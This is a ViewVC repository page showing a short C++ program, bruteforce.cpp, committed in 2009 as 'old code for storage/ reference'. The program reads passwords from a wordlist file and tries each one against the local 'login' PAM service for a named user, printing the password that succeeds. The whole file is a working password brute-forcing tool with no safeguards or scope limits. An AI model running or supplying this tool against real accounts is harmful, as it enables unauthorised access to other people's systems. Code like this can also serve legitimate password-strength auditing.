/[projects]/misc/checkuser/cpp/bruteforce.cpp
ViewVC logotype

Contents of /misc/checkuser/cpp/bruteforce.cpp

Parent Directory Parent Directory | Revision Log Revision Log


Revision 328 - (show annotations) (download)
Wed Sep 16 20:13:41 2009 UTC (14 years, 8 months ago) by torben
File size: 1072 byte(s)
Added some old code for storage/ reference


1 #include <iostream>
2 #include <string>
3 #include <fstream>
4 #include "pamwrapper.h"
5
6 using namespace std;
7
8
9 class BruteForce : public PamWrapper {
10 private:
11 string pass;
12 public:
13 BruteForce() : PamWrapper("login") {};
14 std::string promptEchoOff(string msg);
15 std::string promptEchoOn(string msg) {return "asd";};
16 void errorMsg(string msg) {};
17 void textInfo(string msg) {};
18 void setPass(string newpass) {pass = newpass;};
19 };
20
21 string BruteForce::promptEchoOff(string msg)
22 {
23 return pass.c_str();
24 }
25
26 int main(int argc, char *argv[])
27 {
28 if (argc != 3) {
29 cout << "usage: " << argv[0] << " <filename> <user>" << endl;
30 return 0;
31 }
32
33 ifstream passfile( argv[1] );
34 if (!passfile ) {
35 cerr << "cannot open file " << argv[1] << endl;
36 return 1;
37 }
38
39 BruteForce pam;
40 pam.start( argv[2] );
41 while (!passfile.eof()) {
42 string pass;
43 passfile >> pass;
44 cout << "trying: " << pass << endl;
45 pam.setPass( pass );
46
47 if (pam.authenticate() == PAM_SUCCESS) {
48 cout << "success with password = " << pass << endl;
49 break;
50 }
51 }
52
53 pam.end();
54 passfile.close();
55 return 0;
56 }

  ViewVC Help
Powered by ViewVC 1.1.20